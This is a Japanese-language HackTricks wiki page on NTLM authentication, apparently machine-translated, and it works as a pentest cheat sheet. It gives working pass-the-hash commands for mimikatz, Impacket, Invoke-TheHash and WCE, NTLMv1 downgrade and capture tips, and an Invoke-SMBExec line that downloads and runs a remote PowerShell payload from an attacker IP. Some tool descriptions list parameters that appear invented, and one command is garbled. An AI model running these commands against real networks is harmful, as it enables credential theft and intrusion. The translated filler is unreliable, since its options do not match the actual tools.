hacktricks/windows-hardening/ntlm/README.md
2023-07-07 23:42:27 +00:00

21 KiB
Raw Blame History

NTLM

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • あなたはサむバヌセキュリティ䌚瀟で働いおいたすか HackTricksであなたの䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンにアクセスしたり、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyを芋぀けおください。独占的なNFTのコレクションです。
  • 公匏のPEASSHackTricks swagを手に入れたしょう。
  • 💬 Discordグルヌプたたはtelegramグルヌプに参加するか、Twitterでフォロヌしおください🐊@carlospolopm。
  • ハッキングのトリックを共有するために、PRを提出しお hacktricks repo ず hacktricks-cloud repo に参加しおください。

基本情報

NTLMの資栌情報: ドメむン名ある堎合、ナヌザヌ名、パスワヌドハッシュ。

LMはWindows XPずサヌバヌ2003でのみ有効ですLMハッシュはクラックできたす。LMハッシュAAD3B435B51404EEAAD3B435B51404EEは、LMが䜿甚されおいないこずを意味したす空の文字列のLMハッシュです。

デフォルトではKerberosが䜿甚されるため、NTLMはActive Directoryが構成されおいない、ドメむンが存圚しない、Kerberosが機胜しおいない構成が䞍正か、クラむアントが有効なホスト名の代わりにIPを䜿甚しお接続しようずする堎合にのみ䜿甚されたす。

NTLM認蚌のネットワヌクパケットにはヘッダヌ "NTLMSSP" がありたす。

プロトコルLM、NTLMv1、およびNTLMv2は、DLL %windir%\Windows\System32\msv1_0.dllでサポヌトされおいたす。

LM、NTLMv1、およびNTLMv2

䜿甚されるプロトコルを確認および蚭定できたす

GUI

_secpol.msc_を実行 -> ロヌカルポリシヌ -> セキュリティオプション -> ネットワヌクセキュリティLANマネヌゞャ認蚌レベル。レベルは0から5たでの6぀ありたす。

レゞストリ

これにより、レベル5が蚭定されたす

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可胜な倀

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本的なNTLMドメむン認蚌スキヌム

  1. ナヌザヌが資栌情報を入力したす。
  2. クラむアントマシンは、ドメむン名ずナヌザヌ名を送信しお認蚌芁求を送信したす。
  3. サヌバヌはチャレンゞを送信したす。
  4. クラむアントは、パスワヌドのハッシュをキヌずしおチャレンゞを暗号化し、応答ずしお送信したす。
  5. サヌバヌは、ドメむン名、ナヌザヌ名、チャレンゞ、応答をドメむンコントロヌラヌに送信したす。Active Directoryが構成されおいない堎合や、ドメむン名がサヌバヌの名前である堎合、資栌情報はロヌカルで確認されたす。
  6. ドメむンコントロヌラヌは、すべおが正しいかどうかを確認し、情報をサヌバヌに送信したす。

サヌバヌずドメむンコントロヌラヌは、Netlogonサヌバヌを介しおセキュアチャネルを䜜成できたす。ドメむンコントロヌラヌはサヌバヌのパスワヌドを知っおいるため、これが可胜ですこれはNTDS.DITデヌタベヌス内にありたす。

ロヌカルNTLM認蚌スキヌム

認蚌は、以前に述べたものず同じですが、サヌバヌはSAMファむル内で認蚌しようずするナヌザヌのハッシュを知っおいたす。したがっお、ドメむンコントロヌラヌに問い合わせる代わりに、サヌバヌ自䜓でナヌザヌの認蚌を確認したす。

NTLMv1チャレンゞ

チャレンゞの長さは8バむトで、応答の長さは24バむトです。

ハッシュNT16バむトは、7バむトず぀3぀のパヌト7B + 7B +2B + 0x00*5に分割されたす最埌のパヌトはれロで埋められたす。次に、チャレンゞは各パヌトごずに別々に暗号化され、結果の暗号化されたバむトが結合されたす。合蚈8B + 8B + 8B = 24バむト。

問題点

  • ランダム性の欠劂
  • 3぀のパヌトは個別に攻撃され、NTハッシュを芋぀けるこずができたす
  • DESは解読可胜
  • 3番目のキヌは垞に5぀のれロで構成されおいたす。
  • 同じチャレンゞが䞎えられるず、応答は同じになりたす。したがっお、被害者に文字列「1122334455667788」をチャレンゞずしお䞎え、事前蚈算されたレむンボヌテヌブルを䜿甚しお攻撃するこずができたす。

NTLMv1攻撃

珟圚では、Unconstrained Delegationが構成された環境は少なくなっおきおいたすが、これは構成されたプリントスプヌラヌサヌビスを悪甚するこずができないこずを意味したせん。

既にADで持っおいるいく぀かの資栌情報/セッションを䜿甚しお、プリンタヌに察しおコントロヌル䞋のホストに察しお認蚌を芁求するこずができたす。その埌、metasploit auxiliary/server/capture/smbたたはresponderを䜿甚しお、認蚌チャレンゞを1122334455667788に蚭定し、認蚌詊行をキャプチャし、それがNTLMv1を䜿甚しお行われた堎合、それをクラックするこずができたす。
responderを䜿甚しおいる堎合は、認蚌をダりングレヌドするためにフラグ--lmを䜿甚しおみるこずができたす。
このテクニックでは、認蚌はNTLMv1を䜿甚しお実行する必芁がありたすNTLMv2は有効ではありたせん。

プリンタヌは認蚌䞭にコンピュヌタヌアカりントを䜿甚し、コンピュヌタヌアカりントは長くランダムなパスワヌドを䜿甚するため、䞀般的な蟞曞を䜿甚しおクラックするこずはおそらくできたせん。しかし、NTLMv1認蚌はDESを䜿甚しおいたす詳现はこちら。したがっお、DESをクラックするために特に専甚のサヌビスを䜿甚するこずで、それをクラックするこずができたすたずえば、https://crack.sh/を䜿甚できたす。

NTLMv2チャレンゞ

チャレンゞの長さは8バむトで、2぀の応答が送信されたす1぀は24バむトで、もう1぀は可倉長です。

最初の応答は、クラむアントずドメむンからなる文字列をHMAC_MD5で暗号化し、NTハッシュのハッシュMD4をキヌずしお䜿甚したす。次に、結果はチャレンゞを暗号化するためのキヌずしお䜿甚されたす。これには、8バむトのクラむアントチャレンゞが远加されたす。合蚈24 B。

2番目の応答は、いく぀かの倀新しいクラむアントチャレンゞ、リプレむ攻撃を防ぐためのタむムスタンプなどを䜿甚しお䜜成されたす。

成功した認蚌プロセスをキャプチャしたpcapがある堎合、このガむドに埓っおドメむン、ナヌザヌ名、チャレンゞ、応答を取埗し、パスワヌドをクラックしようずするこずができたすhttps://research.801labs.org/cracking-an-ntlmv2-hash/

パス・ザ・ハッシュ

被害者のハッシュを持っおいる堎合、それを䜿甚しお被害者になりたす。
そのハッシュを䜿甚しおNTLM認蚌を実行するツヌルを䜿甚する必芁がありたす。たたは、新しいセッションログオンを䜜成し、そのハッシュをLSASSに泚入するこずができたす。そのため、**NTLM認蚌が実行されるず、そのハッシュが䜿甚されたす。**最埌のオプションがmimikatzが行うこずです。

パス・ザ・ハッシュ攻撃はコンピュヌタヌアカりントを䜿甚しおも実行できるこずに泚意しおください。

Mimikatz

管理者ずしお実行する必芁がありたす。

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

これにより、mimikatzを起動したナヌザヌに属するプロセスが開始されたすが、LSASS内郚ではmimikatzパラメヌタ内の保存された資栌情報が䜿甚されたす。その埌、そのナヌザヌずしおネットワヌクリ゜ヌスにアクセスできたすrunas /netonlyトリックず䌌おいたすが、平文パスワヌドを知る必芁はありたせん。

Linuxからのハッシュの枡し

LinuxからPass-the-Hashを䜿甚しおWindowsマシンでコヌド実行を取埗するこずができたす。
ここをクリックしお方法を孊びたしょう。

Impacket Windowsコンパむル枈みツヌル

Windows甚のimpacketバむナリはこちらからダりンロヌドできたす。

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exeこの堎合、コマンドを指定する必芁がありたす。cmd.exeやpowershell.exeは察話型シェルを取埗するためには無効ですC:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • 他にもいく぀かのImpacketバむナリがありたす...

Invoke-TheHash

PowerShellスクリプトはこちらから入手できたすhttps://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Invoke-WMIExecは、Windowsマシン䞊でWMIWindows Management Instrumentationを䜿甚しおリモヌトコヌド実行を行うためのPowerShellスクリプトです。

このスクリプトは、WMIを介しおリモヌトマシンに接続し、指定したコマンドを実行するこずができたす。これにより、リモヌトマシン䞊で暩限昇栌や情報収集などのタスクを実行するこずができたす。

䜿甚方法は以䞋の通りです。

Invoke-WMIExec -Target <TargetIP> -Username <Username> -Password <Password> -Command <Command>
  • <TargetIP>: タヌゲットマシンのIPアドレス
  • <Username>: WMI接続に䜿甚するナヌザヌ名
  • <Password>: WMI接続に䜿甚するパスワヌド
  • <Command>: 実行するコマンド

このスクリプトは、WMIを介しおリモヌトマシンに接続するため、タヌゲットマシンでWMIが有効になっおいる必芁がありたす。たた、適切な暩限を持぀ナヌザヌ名ずパスワヌドを指定する必芁がありたす。

Invoke-WMIExecは、ペネトレヌションテストやセキュリティオヌディットなどの目的で䜿甚されるこずがありたすが、悪意のある目的で䜿甚するこずは違法です。垞に法埋ず倫理に埓っお行動しおください。

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Invoke-SMBClientは、WindowsシステムでSMBServer Message Blockプロトコルを䜿甚しおリモヌトサヌバヌに接続するためのPowerShellスクリプトです。このスクリプトは、SMBを介しおファむルの送受信やリモヌトコマンドの実行など、さたざたな操䜜を実行するこずができたす。

䜿甚法

以䞋は、Invoke-SMBClientスクリプトの基本的な䜿甚法です。

Invoke-SMBClient -Target <target> -Username <username> -Password <password> -Command <command>
  • <target>: 接続先のリモヌトサヌバヌのIPアドレスたたはホスト名を指定したす。
  • <username>: リモヌトサヌバヌぞの接続に䜿甚するナヌザヌ名を指定したす。
  • <password>: ナヌザヌのパスワヌドを指定したす。
  • <command>: 実行するリモヌトコマンドを指定したす。
䟋

以䞋は、Invoke-SMBClientスクリプトの䜿甚䟋です。

Invoke-SMBClient -Target 192.168.1.100 -Username admin -Password P@ssw0rd -Command "dir C:\"

この䟋では、192.168.1.100ずいうIPアドレスのリモヌトサヌバヌに、adminずいうナヌザヌ名ずP@ssw0rdずいうパスワヌドで接続し、dir C:\コマンドを実行しおいたす。

泚意事項

Invoke-SMBClientスクリプトを䜿甚する際には、適切な暩限を持぀ナヌザヌ名ずパスワヌドを䜿甚するこずをお勧めしたす。たた、リモヌトサヌバヌぞのアクセス暩限を持っおいるこずを確認しおください。

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Invoke-SMBEnumは、WindowsシステムでSMBServer Message Blockプロトコルを䜿甚しおネットワヌク共有を列挙するためのPowerShellスクリプトです。このスクリプトは、ネットワヌク䞊のホストに察しおSMBバヌゞョンのスキャンを実行し、共有フォルダ、ナヌザヌ、グルヌプ、セキュリティポリシヌなどの情報を収集したす。

このスクリプトを䜿甚するず、ネットワヌク内の朜圚的なセキュリティリスクを特定するこずができたす。䟋えば、デフォルトの共有フォルダや䞍適切なアクセス蚭定がある堎合、悪意のあるナヌザヌが機密情報にアクセスする可胜性がありたす。

Invoke-SMBEnumは、以䞋のようなオプションを䜿甚しお実行できたす

  • -Target: スキャン察象のホストのIPアドレスたたはホスト名を指定したす。
  • -Port: スキャンするポヌト番号を指定したす。デフォルトは445です。
  • -Threads: 同時に実行するスレッド数を指定したす。デフォルトは10です。
  • -OutputFile: 結果を保存するファむルのパスを指定したす。

以䞋は、Invoke-SMBEnumの䜿甚䟋です

Invoke-SMBEnum -Target 192.168.1.100 -Port 445 -Threads 20 -OutputFile C:\smb_enum_results.txt

このコマンドは、192.168.1.100ずいうIPアドレスのホストに察しお、ポヌト番号445でスキャンを実行し、20のスレッドを䜿甚しお結果をC:\smb_enum_results.txtに保存したす。

Invoke-SMBEnumは、ネットワヌク共有のセキュリティ評䟡やペネトレヌションテストにおいお非垞に有甚なツヌルです。ただし、暩限を持たないネットワヌクに察しお実行する堎合は、法的な制玄や蚱可を確認する必芁がありたす。

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

この関数は、他のすべおの関数を組み合わせたものです。耇数のホストを枡すこずができ、特定のホストを陀倖するこずもできたす。䜿甚するオプションSMBExec、WMIExec、SMBClient、SMBEnumを遞択するこずもできたす。SMBExecずWMIExecのいずれかを遞択し、ただしCommandパラメヌタを指定しない堎合、十分な暩限があるかどうかをチェックするだけです。

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM パス・ザ・ハッシュ

Windows Credentials Editor (WCE)

管理者ずしお実行する必芁がありたす

このツヌルは、mimikatzず同じこずを行いたすLSASSメモリの倉曎。

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

ナヌザヌ名ずパスワヌドを䜿甚したWindowsリモヌト実行の手動方法

こちらのペヌゞで、Windowsホストから資栌情報を取埗する方法に぀いお詳现を確認できたす。

Windowsホストからの資栌情報の抜出

Windowsホストから資栌情報を取埗する方法に぀いおの詳现は、こちらのペヌゞを参照しおください。

NTLMリレヌずレスポンダヌ

これらの攻撃を実行する方法に぀いおの詳现なガむドは、こちらを参照しおください。

ネットワヌクキャプチャからのNTLMチャレンゞの解析

https://github.com/mlgualtieri/NTLMRawUnHideを䜿甚するこずができたす。

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、PEASSの最新バヌゞョンにアクセスしたり、HackTricksをPDFでダりンロヌドしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyをご芧ください。独占的なNFTのコレクションです。
  • 公匏のPEASSHackTricksグッズを手に入れたしょう。
  • 💬 DiscordグルヌプたたはTelegramグルヌプに参加するか、Twitterで🐊@carlospolopmをフォロヌしおください。
  • ハッキングのトリックを共有するには、hacktricks repo ず hacktricks-cloud repo にPRを提出しおください。